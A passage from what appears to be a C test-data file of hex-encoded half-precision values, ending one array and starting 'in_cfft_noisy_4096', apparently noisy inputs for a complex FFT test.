0xac3d, 0xc1b9, 0xba34, 0xbc57, 0xb064, 0xb4a4, 0xbf14, 0xb705,
0xbaaa, 0x2e56, 0x3972, 0xc05a, 0xbe03, 0xbaab, 0x37a8, 0x3e7b,
0xb53f, 0xbc6d, 0x38a4, 0xbb8a, 0x3858, 0x3f9d, 0x3596, 0x428f,
0xbb52, 0xbdeb, 0x3a15, 0x3d8f, 0x41e4, 0x3d66, 0x4052, 0x9988,
0xc08b, 0x40fe, 0x3c25, 0x41a1, 0xbecf, 0x348b, 0x3e75, 0xbaf6,
0x43f5, 0xc056, 0x3a93, 0x39d1, 0x36bb, 0x33c5, 0x39b9, 0x3c32,
0xbe42, 0x3e83, 0xb653, 0xb7c0, 0xc04f, 0xbecf, 0x365f, 0xc04a,
0xb644, 0x40c3, 0x31ba, 0x3fb2, 0x3b38, 0xb826, 0x42c8, 0x37f8,
0x3477, 0x3eb1, 0xb741, 0x2912, 0xbaa5, 0xc16a, 0x3d13, 0xbb0f,
0x3520, 0x4312, 0x38fc, 0xb0e8, 0x146a, 0xbf34, 0x3d45, 0xb2d5,
0xbc52, 0x3d99, 0x3cca, 0x335d, 0x3db3, 0x357e, 0xb358, 0xc3d9,
0x3c1b, 0xc0af, 0xbb53, 0x3c41, 0xb5a7, 0xbe82, 0xb2ee, 0x34d4,
0x3a79, 0x37f8, 0xb978, 0xbb46, 0x3913, 0x2d8a, 0x412b, 0x247c,
0xb98d, 0xab44, 0xb633, 0xb27e, 0xb189, 0x4156, 0x3954, 0x3a9a,
0x40e3, 0xc1d0, 0x3257, 0xbd5b, 0x3ef6, 0xbca1, 0xad0a, 0x3ad0,
0xb5dd, 0xb8d8, 0xb286, 0x3d3e, 0x3041, 0xbc32, 0xb4dd, 0xc106,
0xc196, 0xadef, 0xc220, 0xc2ea, 0x38dc, 0x341b, 0xbff0, 0x3b40,
0xbf47, 0x3d0c, 0x3e4c, 0x2591, 0x35a5, 0x405d, 0x40c8, 0x3d7d,
0xbc13, 0xbc65, 0x3d26, 0xba4f, 0xc13e, 0x4408, 0x4152, 0xc27f,
0xc30c, 0xb595, 0x38d3, 0x3959, 0xbcbd, 0xba58, 0x37e1, 0x2cce,
0xc1b4, 0x3f67, 0xbe59, 0x41d7, 0x4324, 0xb31e, 0x27d0, 0x40ab,
0xbc1e, 0x3f45, 0xbd4d, 0x4254, 0xbc9a, 0x4043, 0x417e, 0xc4e9,
0x4048, 0x3856, 0x3e7e, 0xbe4d, 0x3e98, 0xb5ca, 0xb9ca, 0xbeb7,
0x32fd, 0x4070, 0x3ed6, 0x3c22, 0x2916, 0xc054, 0x36aa, 0xc157,
0xc0b0, 0x3d8b, 0x3fd5, 0x4345, 0x3c33, 0xb4cf, 0x3b56, 0xb3d6,
0xbe1b, 0xc09e, 0xbe64, 0x3b9b, 0x3784, 0xc035, 0x3ce4, 0xac94,
0x3d35, 0x3ab2, 0x35f7, 0x3a6a, 0xc1df, 0xc0bf, 0xbe20, 0x41e1,
0xba62, 0xbf0a, 0x3e71, 0xb6b9, 0x3d79, 0xba18, 0x374f, 0x3e12,
0xbb4d, 0x39c6, 0x31dc, 0x3d43, 0x33ce, 0xb963, 0xb8e0, 0xb4c0,
0x3921, 0xb96b, 0xbc5d, 0xbbbe, 0xb863, 0x3cd2, 0xb6dc, 0x37c7,
0x3323, 0xb8bd, 0x402e, 0xbdd8, 0x3976, 0x3ec7, 0x3f0b, 0x3a0c,
0xc250, 0xb9f2, 0xbad9, 0xc07f, 0x355e, 0xb0b2, 0xba4c, 0x3e47,
0xbc61, 0xbee0, 0x397b, 0xb8b1, 0xbd0a, 0x4060, 0x3a93, 0xb772,
0x2301, 0x411b, 0xb839, 0x3de0, 0xb7a5, 0x34fd, 0xb0de, 0xb3f0,
0x3f3a, 0x3e64, 0x3be0, 0xc19f, 0x3aaf, 0x3c24, 0x3028, 0xc09b,
0xb4ba, 0x3db4, 0xbcb7, 0xbb95, 0x410b, 0x3920, 0x40e9, 0x3b0a,
0xb51e, 0x33b0, 0xb735, 0xbae0, 0x3bdb, 0x3b86, 0x3e38, 0xc27f,
0x34d9, 0xbe38, 0x3a9a, 0x3b3d, 0x3095, 0xb847, 0xa56c, 0xb9b0,
0xc0cf, 0xbe13, 0x3c41, 0xbd45, 0xbbaa, 0xbbb9, 0xc12b, 0x3faa,
0xb465, 0xc059, 0x3cf3, 0x37b8, 0xc426, 0xc1a2, 0x4301, 0xbf37,
0xbc66, 0x43c9, 0x3fdc, 0xb988, 0x3fe8, 0xb7ee, 0x404c, 0x3a29,
0x3502, 0x3666, 0xa482, 0x3c24, 0x2e38, 0x3add, 0x3f72, 0x3ea9,
0x441c, 0x467d, 0x420b, 0xba23, 0xc216, 0xbc85, 0xb850, 0xbe28,
0x35b5, 0x4106, 0x28b3, 0x2e9e, 0x3f42, 0x400b, 0x3f5a, 0xbc27,
0x3fe7, 0xba0a, 0xbf7d, 0xbe01, 0x42e2, 0xc05c, 0xbae8, 0xbaa4,
0x3e69, 0x3be5, 0xc59a, 0xc18a, 0xb939, 0xb022, 0xc25d, 0xc285,
0xbe99, 0xbc38, 0x347c, 0x3eb9, 0xb55d, 0x3a68, 0xb6e6, 0x3331,
0xbc44, 0xbaaf, 0x3593, 0x401f, 0x3f10, 0xbb10, 0xc1da, 0x3831,
0x3bf9, 0x3547, 0xbe19, 0xbdc4, 0x2f23, 0xc27c, 0x40f5, 0x3d92,
0xb1cd, 0x3d6d, 0xbd29, 0x398d, 0x407a, 0xb7ee, 0x382c, 0xbd67,
0x3557, 0x202c, 0xbcc1, 0x3580, 0x3775, 0xc2c5, 0x3bb9, 0xbdd5,
0x3e92, 0x3dee, 0x43c2, 0xbac6, 0x4122, 0xbbad, 0xc0f9, 0x3f15,
0x3981, 0x3c8d, 0x3e55, 0x3ae8, 0x3ade, 0xbc14, 0x3c16, 0x3e2a,
0xbe96, 0xbed2, 0xb32c, 0xb3c9, 0xbb52, 0xba84, 0xafd3, 0x3b58,
0xc22f, 0xb264, 0x32b5, 0x38c1, 0xbe3b, 0x3c49, 0x3a89, 0x3bee,
0x3f1d, 0x2f4c, 0x400c, 0x405d, 0xb6e4, 0xbacf, 0x3cfe, 0xbc1e,
0xc1ed, 0x2da4, 0xbff1, 0xb960, 0xbfa6, 0xbda9, 0x3972, 0xb712,
0x32cc, 0x382a, 0x3db6, 0x3a40, 0xb45d, 0xbb3f, 0x34a5, 0xb461,
0x3d84, 0x30a6, 0xb619, 0x3bab, 0x3f47, 0xc1d1, 0x3e26, 0x3fbb,
0x3a14, 0x3f89, 0x2fc5, 0xbde3, 0xb987, 0xb490, 0x417a, 0x3720,
0xc075, 0x387d, 0x3d1d, 0x399f, 0x4161, 0x3e72, 0x40d4, 0x3f9f,
0x39f0, 0xba7d, 0x397a, 0xbc61, 0xb654, 0x30a8, 0xbd26, 0x3700,
0xb884, 0xbd00, 0x3ddc, 0x398f, 0x336e, 0xbb52, 0x3f84, 0x33c9,
0xbf57, 0xba19, 0x3f5f, 0x3eab, 0x406d, 0xbb48, 0xbbc1, 0xbd2b,
0x345e, 0xc169, 0xacbd, 0xb86b, 0x402b, 0xc2f9, 0x3c3a, 0xb9a3,
0xbda2, 0x4116, 0x3d10, 0x41af, 0xae36, 0x34d0, 0xb9d1, 0xb883,
0x4030, 0x3dc5, 0xa992, 0x2c76, 0xbe5e, 0xb32c, 0xc4ca, 0xbf34,
0xbbac, 0x3029, 0xc1d6, 0x3070, 0x3ebe, 0xb3cc, 0x3e29, 0x3d13,
0xb38f, 0xc14b, 0xb606, 0x3ef5, 0xbedc, 0x40f6, 0xc279, 0xb9d7,
0x3e51, 0xbf5a, 0xbf11, 0xb947, 0xbdb0, 0xaa9c, 0xb968, 0xbaa2,
0x34e8, 0x4063, 0xc0c3, 0x42a6, 0xa5b8, 0xc0b7, 0x3ad1, 0x3cad,
0x3e62, 0x3988, 0xafb9, 0xbff7, 0xbc4c, 0x36f9, 0x3e25, 0xb543,
0xba2f, 0xb916, 0xbf6e, 0x3cc7, 0xc13a, 0x3519, 0x4113, 0x40b9,
0x36b3, 0xbba3, 0x39d2, 0xbdeb, 0x337c, 0xba79, 0x3c3c, 0xc403,
0xb586, 0xb8c5, 0x3025, 0x41a3, 0xc1dc, 0x3c92, 0x3bf2, 0xbc6c,
0xbe5d, 0x3bfe, 0x32d7, 0x3f83, 0xbf8f, 0x379c, 0x28d3, 0x38c6,
0x404a, 0x407f, 0x407b, 0xbc44, 0xc0d2, 0xba83, 0xd2e, 0x4095,
0x38e3, 0xbb8b, 0x4056, 0xb0f5, 0x35c6, 0xbfc1, 0xbc4c, 0x434a,
0x3d8a, 0x3b73, 0x40ab, 0x38c5, 0xb865, 0xb68b, 0x42b1, 0x357d,
0xbba7, 0xb56b, 0xc15a, 0xbd6f, 0x3b00, 0x3df6, 0xbd15, 0xbc61,
0x35eb, 0x3bd0, 0x2e13, 0x3977, 0x326a, 0xba1d, 0xb0f1, 0x36b3,
0x2deb, 0x344f, 0x4083, 0x3dd7, 0x3c90, 0x3c7e, 0x3df0, 0xba1e,
0x2e73, 0x3ece, 0x3971, 0xbbeb, 0xb89b, 0xbfe8, 0xc09e, 0x3f61,
0xbb89, 0xbc11, 0xba0c, 0xbecd, 0x3ab1, 0xbaaf, 0xc10b, 0xc0c4,
0xbe12, 0x403e, 0xb8ab, 0x3e0c, 0x381c, 0xc0b9, 0xb2ca, 0x3d6e,
0x3f2a, 0xbc3a, 0x35c6, 0x3ae6, 0x3e47, 0x3fd7, 0x3e73, 0xbbb2,
0xc060, 0x3dd8, 0xb767, 0xb867, 0xb031, 0xb83c, 0xb828, 0xb74e,
0xbe96, 0x3357, 0x3f35, 0x354c, 0x3ca0, 0xc21a, 0xc292, 0x368b,
0xb175, 0xbaf8, 0xbb0d, 0x43aa, 0xbf04, 0xbca4, 0xc36d, 0xbd80,
0x311d, 0xc301, 0xbe78, 0x36b9, 0xb886, 0x375f, 0xbaa9, 0x3a0e,
0xbb10, 0xb5b5, 0x3c9b, 0xbdbb, 0xbf82, 0xbb90, 0x32b9, 0xa0c3,
0xc0d0, 0xa6e4, 0xb932, 0x4186, 0xb38e, 0x387d, 0x3630, 0x3ff3,
0xbc3c, 0xbb07, 0x40f3, 0xb41a, 0xb515, 0xb113, 0x3719, 0xb7cd,
0xbcd0, 0xb979, 0x384a, 0xc2be, 0x3ac4, 0xbb07, 0x321e, 0x2f38,
0x3e4c, 0x3c17, 0xb586, 0xbca1, 0xc3fe, 0xc14d, 0xbcf5, 0x3d73,
0x3279, 0xbe6f, 0x4116, 0x3c1a, 0xb3b4, 0xb832, 0xb69b, 0xbed2,
0xb4dc, 0x406c, 0x3b4d, 0x3ad1, 0x3c56, 0x3958, 0x341f, 0x3deb,
0xbe82, 0x2c1c, 0xb7b7, 0xc235, 0xbc7b, 0xc2e6, 0x3e12, 0x3613,
0xbbf5, 0x2684, 0x3490, 0x41bf, 0xbd0b, 0x39cb, 0x3fac, 0xbc37,
0xbfdd, 0xbedc, 0xb99b, 0xbd54, 0xba31, 0xbe58, 0xbe7b, 0x3e85,
0xc281, 0xae2f, 0x3170, 0x3a04, 0x35c3, 0x3c09, 0x2dd6, 0x40a3,
0x3b6c, 0x40b7, 0xbe51, 0xbc19, 0xbadc, 0x3d20, 0x3e2e, 0xc0b3,
0x3dbc, 0x3f5f, 0xbd61, 0xb485, 0x354f, 0x3f19, 0x4361, 0x3c1e,
0xacef, 0xc246, 0xbb81, 0x3958, 0x41cd, 0x4025, 0x3e94, 0x3ef4,
0x40c4, 0xbd62, 0xbd09, 0xaee3, 0xbe00, 0xc15b, 0xc065, 0xc1b9,
0x404e, 0x415d, 0xc106, 0x2de2, 0x2d14, 0x408c, 0x3d3c, 0x3317,
0x3abd, 0x3d95, 0x3cf7, 0xc117, 0xb4bd, 0xbc22, 0x424f, 0x397a,
0xa8dd, 0xbbf3, 0xb842, 0x2ea2, 0x3607, 0xb773, 0x4050, 0x35e6,
0x3bd4, 0x42b0, 0xb6a8, 0xb54e, 0x388c, 0x3ed7, 0xb327, 0x3cc2,
0x41a2, 0xb775, 0xbc56, 0x3a18, 0xb8b8, 0xb718, 0x3d5d, 0x3863,
0x359c, 0xc299, 0x3dd8, 0x3f54, 0xa4b1, 0x3cbe, 0x457c, 0x400e,
0x3f40, 0x4238, 0xbffd, 0x441f, 0xbe1e, 0x3862, 0x2519, 0xb7c3,
0x3ff0, 0x3abe, 0xbab0, 0xbc3f, 0xc0dd, 0x3412, 0x2f16, 0xc131,
0xb8fc, 0x3ca9, 0x40b0, 0xbf61, 0x38fe, 0x3971, 0xbb88, 0xbebf,
0xc244, 0x3933, 0x3826, 0xb99d, 0x40dc, 0x3c91, 0xc10b, 0xbe03,
0x42a6, 0xb61d, 0xbab8, 0x3485, 0x3882, 0x3fe7, 0x3f54, 0x3ee3,
0x39cd, 0x409f, 0x4152, 0x44ac, 0xb804, 0xb9a6, 0x2e92, 0x3adc,
0x2e92, 0xb852, 0xbc8b, 0x3de2, 0xbff2, 0xbcdc, 0xade3, 0x3eb6,
0x3599, 0xbc01, 0x2f13, 0x3868, 0x39d0, 0x4426, 0x1870, 0x3658,
0xb854, 0x3539, 0x3070, 0x3e49, 0xbda3, 0x33b0, 0xbadf, 0x3add,
0x426d, 0x3ba9, 0xbb27, 0x4041, 0x372e, 0x3abb, 0xb8a6, 0x4203,
0x3965, 0xbca4, 0xbb35, 0xba4c, 0xc304, 0x3c04, 0xbb47, 0xbe8e,
0xb972, 0x3a3a, 0x3d03, 0x40db, 0xb97b, 0x40b3, 0xbeec, 0x3203,
0x3f65, 0x3e61, 0xadf0, 0xc1ae, 0x3aed, 0xbca9, 0xbc79, 0x34dc,
0xc3cc, 0x4063, 0x3af4, 0x3e20, 0xbddc, 0x299a, 0x2e0f, 0x3483,
0x2422, 0xc410, 0x40d1, 0xc13b, 0xc1b2, 0xbfa7, 0xb4fc, 0x3cb3,
0xac14, 0x3978, 0x409f, 0x429a, 0xbe19, 0xc36f, 0xbcd7, 0x3b99,
0xb4ed, 0x4106, 0xbd64, 0xbf9a, 0x3d10, 0xbb2c, 0xbdc0, 0xc1f8,
0x3471, 0x3bfb, 0xb6ea, 0xc100, 0x3d4f, 0xbde5, 0x3d26, 0xbcd6,
0x3b92, 0x3062, 0xbc57, 0x3c87, 0x31ad, 0xc295, 0x4176, 0x40d4,
0x39c0, 0x40aa, 0x3c45, 0x353c, 0xb6b4, 0xb30d, 0xb697, 0x3d3d,
0xb434, 0x351e, 0x40ae, 0x38aa, 0x40a9, 0x3e04, 0x3711, 0xbc28,
0xba9e, 0x3597, 0xb0fe, 0x3a43, 0x36d0, 0x3b21, 0x3c6e, 0x3f69,
0xc22a, 0xbc74, 0xc07b, 0x38a3, 0x3698, 0xb777, 0xbc14, 0x3ed2,
0xbc2b, 0xbc83, 0xaee9, 0xb71c, 0x426d, 0x2440, 0x40cc, 0x3e65,
0x3faf, 0x355a, 0xb91e, 0xb60a, 0xbf22, 0x408f, 0xc104, 0x3c87,
0x3fe3, 0x2f4e, 0xbedb, 0x3bc4, 0x2110, 0xc012, 0xc08d, 0x3dc9,
0x3bc3, 0x298c, 0x425a, 0xbf8f, 0xc035, 0xafbe, 0xb9c1, 0xc1ae,
0x40c7, 0x40dc, 0x4363, 0xbd27, 0x38b7, 0x3704, 0xb27d, 0xc14c,
0xc249, 0xbc8d, 0xb8c4, 0xbdc9, 0xbdcc, 0x4206, 0x3ff7, 0x39c4,
0x3855, 0x4006, 0xa652, 0x3c76, 0xbc07, 0x3cb2, 0xc2eb, 0xbac4,
0xb89b, 0xbf21, 0xc2ad, 0x3eef, 0x392e, 0xb81f, 0xbafc, 0xbc18,
0xc06d, 0xb908, 0x3d2b, 0xbb6a, 0xb9e5, 0x3c33, 0x2cba, 0xb18e,
0x3dbb, 0xbc0d, 0xc0da, 0xbd7f, 0x3873, 0x3c7e, 0x3450, 0x3dbb,
0xbed5, 0xb11c, 0x4065, 0x3eb9, 0x30f6, 0xc2b4, 0x3d54, 0xbaf0,
0x9fa2, 0x3189, 0xb897, 0xbbb8, 0x4017, 0xbd9f, 0x3f46, 0x3c01,
0x4125, 0x3e6a, 0xbd1c, 0xbef8, 0x3973, 0xa89e, 0xb8fe, 0xbb13,
0x416f, 0x3254, 0x40d2, 0x3c59, 0x3014, 0x3769, 0x39e0, 0xb85e,
0xc41e, 0x3f3b, 0x3709, 0x3faa, 0x350d, 0x3a31, 0x3ab5, 0x3b77,
0xbee5, 0xbd03, 0x3d4f, 0x3e55, 0x3d9b, 0xb9ee, 0xb9b8, 0x3d6a,
0x39d3, 0xb795, 0xbd9b, 0xb8d9, 0xc318, 0x38fc, 0xc021, 0xabee,
0x3be2, 0x3700, 0x3ae1, 0xc0b9, 0xbabe, 0x400d, 0x4417, 0xbc29,
0x3e04, 0x3c0b, 0x3a9b, 0xb6a3, 0x4041, 0x36c5, 0x3eb3, 0x3f4e,
0x41ed, 0x2f34, 0x3cb5, 0xbebe, 0xc013, 0xb64a, 0x42f5, 0x35fe,
0x3813, 0xbb1a, 0x3cd5, 0xbd6b, 0xc126, 0x3c0b, 0xba57, 0x41a9,
0x3b3a, 0x361e, 0xbacc, 0x346b, 0x40a6, 0xbd01, 0x3a39, 0xb6ce,
0x3292, 0xbe90, 0xa042, 0x404f, 0x34ba, 0xbc9f, 0xc39a, 0xba17,
0x3ff9, 0xbe1d, 0xbdeb, 0xbf44, 0xb902, 0x3ac1, 0x41f0, 0x3af4,
0x4144, 0x4025, 0xbd98, 0xb25f, 0xb166, 0x3d50, 0x2c73, 0xbba6,
0xbc3d, 0x40da, 0xbb38, 0xbbb2, 0x3dcf, 0x3cb2, 0xb14f, 0xc23b,
0xbf98, 0x4000, 0xb9ec, 0x3a30, 0x3f62, 0x343a, 0x3e5e, 0x34d3,
0xc389, 0xbcac, 0x3b19, 0xb944, 0xb02b, 0xb9cd, 0x3550, 0xbc62,
0xbfb6, 0x387d, 0x3e78, 0xbe10, 0xb032, 0xb8ed, 0xb4ca, 0x3ec9,
0x41d0, 0x40f6, 0xb333, 0x4156, 0xc178, 0x3e7b, 0x3ade, 0x393a,
0x3600, 0xbc72, 0xbcf8, 0x420e, 0x382c, 0x3ec1, 0x40bf, 0xbf55,
0x3bd3, 0xbf3a, 0x3e25, 0x3428, 0xbeb1, 0x3e42, 0xbd99, 0xb981,
0xbdec, 0xbc11, 0xbfa8, 0xad71, 0xbca2, 0xba27, 0xbf7d, 0x3ef8,
0x37fb, 0x407f, 0xbec2, 0x33c4, 0xbfab, 0xbf27, 0x33db, 0x3ef6,
0xc02f, 0x3e01, 0x3a20, 0xb252, 0xbb8c, 0xb803, 0x3a86, 0x4151,
0xbc21, 0x2ff2, 0xc096, 0x386e, 0x3c6e, 0x4096, 0xbf5f, 0xc0e2,
0xb92e, 0xb354, 0xbc6c, 0x4117, 0xb488, 0x4050, 0xc2aa, 0x29a7,
0xc024, 0x3ac3, 0x400a, 0xbb13, 0x39c2, 0xb855, 0xb623, 0xbb29,
0x3df5, 0x35d5, 0xbcf6, 0xbcdb, 0xbc68, 0x32f4, 0xba7e, 0xc003,
0xbe70, 0xbb79, 0x4193, 0xb55d, 0x3eef, 0xc0ea, 0xb5ac, 0x4389,
0x3825, 0x3a04, 0x407b, 0xbc82, 0x26c2, 0x3ab9, 0xb467, 0x3f56,
0x3ff8, 0xbcc5, 0x3a71, 0x3cb3, 0x3a71, 0x4022, 0xbffd, 0x37ba,
0x3eb1, 0xbc4f, 0xb7eb, 0xbbcf, 0xb5f8, 0x3afd, 0xc074, 0x4024,
0xb81a, 0xc26b, 0x3e62, 0xad59, 0xb434, 0x3fb5, 0xb690, 0x3eeb,
0x3709, 0xc280, 0x357e, 0xb598, 0x3aec, 0xbf6e, 0xb4d2, 0x2b4c,
0x345a, 0xbe95, 0x3818, 0xc151, 0x3a52, 0x31e6, 0x389e, 0xb7d1,
0xbbaf, 0x345c, 0x3bb0, 0xbac1, 0xba14, 0xbdbe, 0xc218, 0x35d8,
0xb975, 0xbcfd, 0x2c99, 0xa3fc, 0xb09f, 0x3e75, 0x42c1, 0xc11c,
0xbded, 0xbee7, 0x3ddf, 0x3980, 0x3c03, 0x34ad, 0xbe0b, 0x38e7,
0xbe65, 0xc0b2, 0xbc9b, 0x4549, 0x3d54, 0xbf45, 0x3b26, 0x2dee,
0x410e, 0xbeca, 0xadee, 0xbfe3, 0xbb60, 0xc3f4, 0xb684, 0xbcae,
0x38bd, 0x619b, 0xc247, 0xbdef, 0x3446, 0x41bf, 0x3822, 0x4058,
0x3ea0, 0x3c2e, 0xb829, 0x3dd1, 0xb955, 0x4088, 0x2cba, 0xc19c,
0x31d7, 0xc3e0, 0x3ea2, 0xbee8, 0xb5be, 0xbc4a, 0xbc91, 0xbdd9,
0xb40f, 0xb882, 0x4100, 0x3b61, 0x3518, 0x4225, 0xae73, 0xb752,
0xb89f, 0x2c1a, 0x3cba, 0x3c5c, 0x3b67, 0xa403, 0x3c80, 0x3d75,
0x3f14, 0x396d, 0x4011, 0x3e42, 0x3eba, 0xbdbc, 0x3948, 0x3c55,
0x3d16, 0x3550, 0x345f, 0xc14f, 0xbc21, 0xbcea, 0xc02d, 0xbd51,
0xbf3a, 0x3e0b, 0xbc07, 0xb5d7, 0x3af4, 0x3fc9, 0xbe9c, 0x3da4,
0xc0ce, 0xbcc7, 0xb9c9, 0xc128, 0xbe99, 0x33af, 0x34da, 0x3627,
0x3c1d, 0xbd5b, 0x3d83, 0xba50, 0xbb2c, 0x28e3, 0x39f1, 0xbdee,
0x38dc, 0xb5e3, 0x3aa7, 0x32c8, 0x4074, 0x4149, 0xc139, 0x3c5e,
0x410a, 0xbfeb, 0xc09b, 0x36ab, 0x3f56, 0xbb11, 0xa919, 0xb97c,
0xb3f8, 0xba75, 0xb57d, 0x3faa, 0x4082, 0xbf63, 0x3a64, 0x3aae,
0x4111, 0x3f16, 0xc2d5, 0xac95, 0xc0f6, 0xb859, 0xbef6, 0xbe43,
0x3ad8, 0xc0c3, 0x368b, 0xbdd3, 0x40d8, 0xc1e7, 0x3fcb, 0x407b,
0xbbd3, 0xbecf, 0x4034, 0x3de8, 0x209c, 0x2e16, 0xbf7e, 0x3d33,
0xbdc2, 0xb9ec, 0xb4d8, 0x3faa, 0xbd54, 0x3d21, 0xb440, 0x3eb1,
0xb00f, 0xbc48, 0xbf39, 0x4118, 0x3412, 0xc093, 0xb657, 0x3698,
0xbdb8, 0x427f, 0xb93a, 0xbddf, 0xbac1, 0x3dcc, 0x3660, 0x3713,
0xbd66, 0x38a4, 0xaf6b, 0x381f, 0xbb47, 0x3c13, 0x3ba6, 0xb391,
0x3b16, 0xb9fa, 0x3e7e, 0x3a5b, 0xb25d, 0x3c69, 0xb807, 0xb8fb,
0x4053, 0xb944, 0xc1bf, 0x380e, 0x3c36, 0x38ee, 0x3ca6, 0xc08c,
0x3d44, 0xc352, 0x3b44, 0x4126, 0xc130, 0xc460, 0x40b3, 0xb752,
0xafba, 0x3e9a, 0x33ff, 0x39d9, 0x36c5, 0x2775, 0x436d, 0x3be2,
0x3e0c, 0xafde, 0xb85e, 0xbb7b, 0xc127, 0xc003, 0x2e38, 0xbc38,
0xc126, 0xbaf0, 0x3979, 0xbc2c, 0x3a95, 0x403b, 0xb967, 0x3c83,
0xb601, 0x3a69, 0xb5ed, 0xae8c, 0xbdeb, 0x41d8, 0x3b91, 0xbc65,
0xbc0a, 0xb8f1, 0xbbd3, 0x283e, 0xba88, 0x3eed, 0xc13f, 0x3c3d,
0x35a9, 0xb9de, 0xbe1a, 0x42a2, 0xc1cf, 0x3de8, 0xbcc9, 0xc302,
0xbe58, 0x3d2d, 0xbff1, 0xbcca, 0x3838, 0x42d0, 0xbada, 0x3f51,
0x40b2, 0xc0da, 0x3d14, 0x34ee, 0xb967, 0x3635, 0x37c3, 0xbc98,
0x18ea, 0x3aea, 0x3fc8, 0x35a5, 0xbf88, 0xb92d, 0x3f64, 0xbc38,
0x2c38, 0xb952, 0xbb93, 0x3be8, 0x3e4b, 0x38b6, 0xb6c8, 0xb84e,
0x3d6b, 0x425f, 0x38f3, 0x40b7, 0x4106, 0x2866, 0x3427, 0x381e,
0x414e, 0xc1a5, 0xbdcd, 0x4058, 0xbccc, 0xbe63, 0xadc2, 0x427c,
0x343a, 0x2f56, 0xbdd5, 0x356e, 0x39df, 0x403d, 0xba2b, 0xb559,
0xbb07, 0x3ce8, 0xbc67, 0xb3f3, 0xbc6b, 0xbb4d, 0x404e, 0xb941,
0x3dc5, 0x2fc6, 0xbfd6, 0x31a3, 0x3c1d, 0x4169, 0xb256, 0x3ba7,
0x317d, 0xbcb8, 0x3eca, 0xb84d, 0xc114, 0x4405, 0xc204, 0x4478,
0x3d2f, 0x3c8e, 0xb69e, 0xb983, 0xb941, 0xb40a, 0xb6c6, 0x42dd,
0x3763, 0x4010, 0x3700, 0x43fa, 0x3ed8, 0x3e20, 0xbe7d, 0x39ae,
0xb813, 0xc048, 0x40bf, 0xc20a, 0xbc3f, 0xb6a2, 0x3c28, 0x3adc,
0x3be8, 0xbb74, 0x3394, 0x3d85, 0xb96c, 0xbda3, 0x4317, 0x35b4,
0xc46a, 0xbb58, 0xc3be, 0x3e8d, 0xb8cd, 0x44d2, 0x2e0f, 0xb799,
0xbaa7, 0x39cc, 0xc067, 0x3ab4, 0xba99, 0xb66d, 0x2cfe, 0xacfd,
0x38e4, 0xc243, 0xbf36, 0x42d2, 0xbdb6, 0x40ab, 0xbad7, 0xbcba,
0x36b3, 0xaf79, 0xb810, 0x428e, 0x40e8, 0xc007, 0xb814, 0x35ef,
0x34ac, 0xb7d6, 0x37f4, 0x3780, 0xb7b4, 0x415c, 0xbd17, 0xace6,
0x386b, 0xbed2, 0xc409, 0xc011, 0xbf64, 0xc28b, 0x3e6f, 0xbb0b,
0x3c65, 0xba52, 0xc417, 0xb194, 0xbff8, 0x3842, 0x400d, 0xbdaa,
0xbcf2, 0xae88, 0xbf4e, 0x306a, 0xb7a7, 0x3969, 0x3c5e, 0x398d,
0x33c6, 0xc026, 0x3550, 0x3108, 0x4179, 0xc139, 0xc0af, 0xb63e,
0xc00c, 0x3f42, 0xc283, 0xbf23, 0x3f03, 0x4385, 0x38be, 0xc142,
0x4050, 0x3d41, 0x3d57, 0xc04d, 0xc066, 0x42b3, 0x3cbb, 0x3d23,
0xba4f, 0xbb6b, 0x3448, 0xbad8, 0x3960, 0xb2f1, 0x3ce1, 0x3152,
0x3a57, 0x31d0, 0x377c, 0x422c, 0x3dbb, 0xbb6a, 0x31de, 0xbf0d,
0xbddd, 0xc4e9, 0x3130, 0x3a73, 0x35dc, 0x3f49, 0xb4d5, 0xba9c,
0xbdcb, 0x37de, 0x32eb, 0x3907, 0xbe59, 0xbf7e, 0xb34a, 0xabe3,
0xbb87, 0xbf09, 0x3999, 0x3a8a, 0xc182, 0x30e1, 0x4372, 0x3bcc,
0x4113, 0x358b, 0x4239, 0xc119, 0xbb02, 0x3e42, 0xbe87, 0x3fae,
0x2e15, 0xc142, 0xbbbd, 0xb39f, 0xba91, 0x3d92, 0x3bf9, 0xb836,
0x37d4, 0xbd93, 0x3681, 0x3c42, 0x3922, 0xbb1b, 0xbf41, 0x40f1,
0x359f, 0xa361, 0xb453, 0x4023, 0x4168, 0x37b2, 0x3e1c, 0x3eeb,
0xb4d2, 0x363a, 0xbb8d, 0x3a8a, 0x3904, 0x35eb, 0xbd60, 0xc243
};
static const uint16_t in_cfft_noisy_4096[8192] = {
0x2cc9, 0x0, 0x379e, 0x0, 0x39b0, 0x0, 0x3849, 0x0,
0xa72e, 0x0, 0xb676, 0x0, 0xb9ad, 0x0, 0xb791, 0x0,
0xa0df, 0x0, 0x3705, 0x0, 0x38fa, 0x0, 0x385f, 0x0,
0x9c23, 0x0, 0xb787, 0x0, 0xb986, 0x0, 0xb81a, 0x0,
0xa221, 0x0, 0x3823, 0x0, 0x3a2c, 0x0, 0x36b0, 0x0,
0x29bf, 0x0, 0xb8f9, 0x0, 0xb955, 0x0, 0xb859, 0x0,
0x247e, 0x0, 0x38ad, 0x0, 0x39a0, 0x0, 0x37c7, 0x0,
0x2d3f, 0x0, 0xb870, 0x0, 0xb9b9, 0x0, 0xb810, 0x0,
0xa29a, 0x0, 0x379f, 0x0, 0x39b2, 0x0, 0x36c6, 0x0,
0xa5ec, 0x0, 0xb865, 0x0, 0xb9bc, 0x0, 0xb81f, 0x0,
0x2d3e, 0x0, 0x3847, 0x0, 0x396e, 0x0, 0x3724, 0x0,
0x217e, 0x0, 0xb802, 0x0, 0xb993, 0x0, 0xb86e, 0x0,
0x2751, 0x0, 0x3852, 0x0, 0x3962, 0x0, 0x38cf, 0x0,
0x2dcc, 0x0, 0xb781, 0x0, 0xb993, 0x0, 0xb84b, 0x0,
0x206b, 0x0, 0x3722, 0x0, 0x3981, 0x0, 0x385e, 0x0,
0xaa8b, 0x0, 0xb846, 0x0, 0xb92a, 0x0, 0xb800, 0x0,
0xae03, 0x0, 0x372a, 0x0, 0x39a8, 0x0, 0x3816, 0x0,
0x29bd, 0x0, 0xb80c, 0x0, 0xb9b0, 0x0, 0xb76f, 0x0,
0xae72, 0x0, 0x3884, 0x0, 0x3a02, 0x0, 0x3752, 0x0,
0xaae9, 0x0, 0xb5b1, 0x0, 0xb9ba, 0x0, 0xb7eb, 0x0,
0xade8, 0x0, 0x3689, 0x0, 0x3a2a, 0x0, 0x37b1, 0x0,
0x2bff, 0x0, 0xb7cc, 0x0, 0xb985, 0x0, 0xb898, 0x0,
0x9cdf, 0x0, 0x3638, 0x0, 0x39a5, 0x0, 0x374c, 0x0,
